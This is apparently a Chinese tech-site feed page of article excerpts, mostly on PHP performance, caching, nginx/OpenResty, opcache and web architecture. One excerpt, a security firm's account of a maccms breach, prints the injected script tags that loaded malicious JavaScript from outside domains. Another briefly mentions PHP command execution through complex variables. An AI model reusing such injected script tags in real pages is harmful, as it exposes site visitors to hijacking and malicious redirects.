构造特定路由访问即可控制反向引用2处的值，又因为这里是双引号可以解析变量，利用PHP复杂变量进行命令执行.
由于近期工作中所负责的项目是开发App和一个前后端分离的管理系统的数据接口(统一采用jwt作为身份认证方式),且第一期已经接近尾声,因此除了做一些php代码层面的缓存优化之外,想到了需要学习一下除了bloomfilter之外的防止缓存穿透的办法(直接在web服务器层面通过redis动态限制访问频率,优点,性能损耗小,全程没有php参与),碰巧网上看到了Openresty,又是基于nginx(熟悉的配方),又能解决当下遇到的问题(神奇的味道),于是经过了几天的学习,也参考了一些其他博客中类似的实现,现记录下本人目前软防火墙的实现过程
宝塔面板添加memcached可以有效加速服务器访问速度，提高网站的用户体验。不过在实际使用中，博主发现很多新手有一个误区，就是添加了错误的memcached组件，导致起不到正常加速服务器的效果。本文分享一下误区在哪里以及应该怎么安装是正确的加速组件。
在带宽有限的情况下，跑压测能压出并发。服务器出带宽是有限的，压测触及带宽上限跟算力并无直接关系，本文仅仅涉及算力层面的并发探讨，不涉及带宽层面。
互联网上有很多关于网站架构的各种分享，有些主要是从运维和基础架构的角度去分析的（堆机器，做集群），太关注技术细节实现，普通的开发人员基本看不太懂。
网站打开速度一向是网站运营者和SEO工作者关注的重要指标。百度在网站优化白皮书中也提到需要注重网站访问速度。2017年更是退出了针对移动端访问推出闪电算法（博文：百度闪电算法的功能及解读）。算法的核心就是页面在移动端首屏加载需要控制在2s以内。随着网络的发展，带宽资源的扩充，现在已经很少碰到网页一等就是十几秒尴尬的情景了，虽说如此，但是还有很多站点加载速度超过5秒。本文尝试从多个角度来简单解释提升网站速度的方法。
宝塔面板添加memcached可以有效加速服务器访问速度，提高网站的用户体验。不过在实际使用中，魏艾斯博客发现很多新手有一个误区，就是添加了错误的memcached组件，导致起不到正常加速服务器的效果。本文中魏艾斯博客分享一下误区在哪里以及应该怎么安装是正确的加速组件。
使用Laravel做开发是高效而愉悦的体验。 通常，当你准备部署应用的时候，你可能会意识到应用也许会在真实环境下表现不佳。
1.Linux 能够流畅的使用Shell脚本来完成很多自动化的工作；awk/sed/perl 也操作的不错，能够完成很多文本处理和数据统计等工作；基本能够安装大 部分非特殊的Linux程序（包括各种库、包、第三方依赖等等，比如MongoDB/Redis/Sphinx/Luncene/SVN之类的）；了解基 本的Linux服务，知道如何查看Linux的性能指标数据，知道基本的Linux下面的问题跟踪等
java面试(2)关于并发、超卖处理的思路
首先这里的服务性能优化不是指代码层面，也不是规范相关，只是对于网站运行的服务、请求、响应做的一些优化。当然这里的优化是我个人理解的，很可能事倍功半。
本文把php程序员划分为中、高级程序员两大类程序员，并针对这两大程序员应具备的技能进行分类探索。
前言 我们再看知识体系的时候，我们学一个东西的时候，每次我们都回过头去看一看，这就是所谓的不忘初心。这个说着容易做起来难，当一个人慢慢在成长，在进步的时候，是很难做到不忘初心的。 我们之前说了DNS缓存、浏览器缓存（维护了这么久的服务器，你真的认识 Web 缓存体系？），所以浏览器就是我们安排在千家万户缓存代理服务器，你把浏览器缓存用好，性能就不用说。 为什么这么说？如果遇到关于session或cookie的过期时间这样的问题，浏览器都不会向服务器发送连接请求。它直接用浏览器本地缓存就打开了，你说它快还是不
了解关于cgi、fastCGI、php-cgi、php-fpm的概念更能加深理解。 下面是我查阅大量资料后整理的关系图供大家参考，也欢迎留言一起讨论
按照了解的很多 PHP/LNMP 程序员的发展轨迹，结合个人经验体会，抽象出很多程序员对未来的迷漫，特别对技术学习的盲目和慌乱，简单梳理了这个每个阶段 PHP 程序员的技术要求，来帮助很多 PHP 程序做对照设定学习成长目标。
第一阶段：基础阶段（基础PHP程序员） 重点：把LNMP搞熟练（核心是安装配置基本操作） 目标：能够完成基本的LNMP系统安装，简单配置维护；能够做基本的简单系统的PHP开发；能够在PHP中型系统中支持某个PHP功能模块的开发。 时间：完成本阶段的时间因人而异，有的成长快半年一年就过了，成长慢的两三年也有。 1.Linux： 基本命令、操作、启动、基本服务配置（包括rpm安装文件，各种服务配置等）；会写简单的shell脚本和awk/sed 脚本命令等。 2.Nginx： 做到能够安装
丁浪，非著名架构师。关注高并发、高可用的架构设计，对系统服务化、分库分表、性能调优等方面有深入研究和丰富实践经验。热衷于技术研究和分享。 声明：版权归丁浪作者本人所有，转载请联系作者本人。 互联网上有很多关于网站架构的各种分享，有些主要是从运维和基础架构的角度去分析的（堆机器，做集群），太关注技术细节实现，普通的开发人员基本看不太懂。 本文第一章节将主要介绍大型网站基础架构的扩展，第二章节则重点从应用程序的角度去介绍网站架构的扩展和演变。 一，大型网站基础架构的扩展 草根时期，快速开发网站并上线。当然，通
一直知道opcache可以提高PHP性能，但没有具体的关注，更多的利用其他的组件来提升系统的性能。一次无意开启了opcache之后，并随意设置了一些配置。结果导致后面在使用一个项目时，发现项目总是不会读取到最新的代码，而是隔一段时间才会执行到最新代码。排查了很久才想起来开启了opcache，于是对opcache做了一个简单的学习与总结。
原文出处： 黑夜路人 按照了解的很多PHP/LNMP程序员的发展轨迹，结合个人经验体会，抽象出很多程序员对未来的迷漫，特别对技术学习的盲目和慌乱，简单梳理了这个每个阶段PHP程序员的技术要求，来帮助很多PHP程序做对照设定学习成长目标。 本文按照目前主流技术做了一个基本的梳理，整个是假设PHP程序员不是基础非常扎实的情况进行的设定，并且所有设定都非常具体明确清晰，可能会让人觉得不适，请理解仅代表一家之言。（未来技术变化不在讨论范围） 第一阶段：基础阶段（基础PHP程序员） 重点：把LNMP搞熟练（核心是安
本文地址: http://www.laruence.com/2011/03/04/1894.html转载请注明出处
第二步：寻找合适的云服务SDK进行嵌入，在APICloud的聚合API中可以轻易找到以上的功能模块，挑选合适的模块封装到自己的App中
说到wordpress的缓存，大家想到的肯定是 WP-Super-Cache 的静态html缓存，以及 memcached 或 redis 动态缓存，插件的缓存效果肯定是有的，但是容易出现各种问题，比如配置很复杂、配置全英文、插件之间的冲突等，所以今天我要教大家一个更高级的缓存：Nginx fastcgi_cache缓存，直接在nginx层面缓存页面，还支持缓存伪静态！效果比起传统的php缓存好得太多了，因为很多人使用宝塔面板，所以今天的教程是基于宝塔面板的教程。
RabbitMQ（二）——工作队列 （原创内容，转载请注明来源，谢谢） 一、概述 工作队列模式（work queue），是有多个消费者的情况下，可以共同消费队列内的内容，加快消息处理速度。这是Rab
文章出处来源 摘自 微信--IT搬运工 地址：http://mp.weixin.qq.com/s?__biz=MzAxNTI4NDAzNA==&mid=205960169&idx=1&sn=765e
大公司也是从小公司一步步走过来的，而大公司之所以与小公司不同，不在于基础的技术体系不同，而是当数据量达到一定程度后，引发的质变而已。而在思考质变带来的性能问题中，总结出来了一系列的工具，然后通过把对应的工具集合起来后形成了对应的运维工具平台。
移动互联网、云计算和大数据的成熟和发展，让更多的好想法得以在很短的时间内实现为产品。此时，如果用户需求抓得准，用户数量将很可能获得爆发式增长，而不需要像以往一样需要精心运营几年的时间。然而用户数量的快速增长（尤其是短时间内的爆发式增长），通常会让应用开发者有些吃不消，不得不面临一些严峻的技术挑战：如何避免因为单台机器当机导致服务不可用；如何避免在服务容量不足时，用户体验下降，等等。在系统构建之初就采用高可用和可伸缩架构，将能有效避免这些问题。 如何构建高可用和可伸缩架构呢？云存储首席架构师李道兵在3月
关于 WordPress 的加速优化几乎都是个老生常谈的话题了，今天明月再给大家分享一个加速 WordPress 的方法，这个方法是基于 Nginx 的 Web 缓存方式。Web 缓存是指一个 Web 资源（如 html 页面，图片，js，数据等）存在于 Web 服务器和客户端（浏览器）之间的副本。缓存会根据进来的请求保存输出内容的副本；当下一个请求来到的时候，如果是相同的 URL，缓存会根据缓存机制决定是直接使用副本响应访问请求，还是向源服务器再次发送请求。Nginx 的 Web 缓存一般推荐 FastCGI 方式，另外还有一个叫 Proxy 方式，两者的缓存效率大同小异，今天以 FastCGI 方式为主给大家分享一下。
根据需求我们需要给出实现方案，如Db 表设计，消息队列设计，代码组织，模块划分，单元测试等等，这是我目前了解到的，我开发的时候还没有做到这么细，也是自己后面努力的方向。
验证两种各自领域称王的语言（JAVA /PHP），不同语言、不同机制的组合在一起，PHP负责WEB层，Java负责业务和数据逻辑层，真是一对黄金组合（Java+PHP整合=混血新宠儿），发挥各自优势，适合开发B/S企业程序。
每个渗透测试的目标都是识别应用、服务器或网络中的可能缺陷，它们能够让攻击者有机会获得敏感系统的信息或访问权限。检测这类漏洞的原因不仅仅是了解它们的存在以及推断出其中的漏洞，也是为了努力预防它们或者将它们降至最小。
话题还得从tinkPHP群消息说起，双十二那天，群内通知官方发布了5.0.13版本。刚好那几天在折腾redis缓存。官方文档中说5.0.13是一个集合诸多改进的版本，redis缓存驱动使用serialize替换了原先的json序列化。而博主的程序初始版本还是在5.0.10的基础上搭建了，后面在博客发布的时候更新到了5.0.11。想着官方已经发布了5.0.13，已经跨版了，就折腾起来。
微信公众号：码农编程进阶笔记 关注可获得更多的视频教程及面试技巧。问题或建议，请公众号留言!
首先除了Hyperf是swoole官方力推的框架之外，还是看重Hyperf的灵活性，特别是核心架构中的一些特性给了一种耳目一新的感觉，也许这些对于其他语言开发来说是很正常的，但是对php开发者来说启发是很大，例如注解、AOP面向切面编程。
PHP语言是比较常用到的一门计算机高级语言。这篇文章为大家介绍主流PHP框架相关优缺点评比，供使用时作为参考：
调度系统是指CDN厂家有能力通过各种机制将客户域名的所有现网请求引导到合适的目标机房，从而实现流量控制、质量控制、成本控制以及故障处理。
单例模式解决的是如何在整个项目中创建唯一对象实例的问题，避免重复创建(实例化) 对象，已经有现成的实例就用现成的。减少资源的浪费(因为创建多个实例，浪费内存， 完全没必要)，单件模式保证了每时每刻引用的都是同一个实例。最常用的地方是数据库连接。
摘要 移动互联网时代，提高网页性能是每个前端团队的目标。作为QQ钱包团队的前端工程师，我们是如何通过自研nodejs服务和利用service worker实现H5页面秒开？让我们来探讨一下QQ钱包H5
最近业务有所增长，随之而来的是慢请求逐渐多了起来，在搜索php性能优化的过程中发现了opcache，相关的文章很多，但是都比较零碎，所以在此做个总结。公司当前使用的PHP版本为php7.x.x。
说起站点速度优化这个话题对于很多老站长来说很有点儿“老生常谈”的感觉了，今天明月就继续针对这个“老生常谈”的话题给大家说道说道！因为明月发现至今为止还是有不少站长们对站点速度优化有不少的误区，加上现在各种技术的更新发展，优化速度这个事儿也要与时俱进的，不能总是抱着老技术、老思想来抱残守缺，玩博客还是要紧跟时代的！
upstream timed out (10060: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond) while reading response header from upstream
长期以来，PHPer一直在讨论各种PHP框架的优缺点，互联网上的信息相对分散。现在我收集并总结了几个主流框架，其中我只使用了yii2、laravel、YAF和ThinkPHP。因此，对各种框架的评价大多来自互联网上的信息。如果您有任何问题，请在评论中指出我们共同进步
苹果CMS漏洞是越来越多了，国内很多电影网站都使用的是maccms V10 V8版本，就在2020年初该maccms漏洞爆发了，目前极少数的攻击者掌握了该EXP POC，受该BUG的影响，百分之80的电影站都被攻击了，很多电影站的站长找到我们SINE安全来解决网站被挂马的问题，通过分析我们发现大部分客户网站在数据库中都被插入了挂马代码，<script src=https://lefengtv.com/js/tjj.js></script><script src=https://pkvod.com/1.js</script>，尤其电影片名d_name值被直接篡改，并且是批量挂马，导致用户打开网站访问直接弹窗广告并跳转。
当今时代，React、Vue、AngularJS 三大框架横行，我们很难争论出哪个是最好的框架，但三者共同点是 MVVM 的模式，用一张简单的图可以看到，MVVM 模式最出色的是 ViewModel 层，ViewModel 帮我们摆脱了麻烦的 DOM 操作，相比 MVC 模式有了质的飞跃。
在中生代和飞马网的技术嘉年华上，我斗胆披上吹牛的嫌疑，分享了面向全栈的技术管理，现赘述如下。
oSQL是伴随着web2.0的迅猛发展而在2009年被提出的一个概念，一般可以通俗的理解为高性能的Key Value存储结构的数据库，当然也有其他更广泛的类型。它基于CAP和BASE理论，强调最终一致性，具有数据结构灵活、扩展方便、大数据量下读写性能 高效等特点，在互联网行业被广泛采用。本系列文章将评测广受关注的几个NoSQL数据库产品。本文关注的是HandlerSocket Plugin for MySQL。
项目场景是给做用户年报，项目属于活动类型，需要维持1个月左右，需要统计用户操作的一些数据，主要是统计方面的，当时注册用户大概280w左右，书单、评论、打赏还可以，之前的数据做过分表，只有阅读记录log大概将近1亿条，是个大难点。
当一个Web系统从日访问量10万逐步增长到1000万，甚至超过1亿的过程中，Web系统承受的压力会越来越大，在这个过程中，我们会遇到很多的问题。为了解决这些性能压力带来问题，我们需要在Web系统架构层面搭建多个层次的缓存机制。在不同的压力阶段，我们会遇到不同的问题，通过搭建不同的服务和架构来解决。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
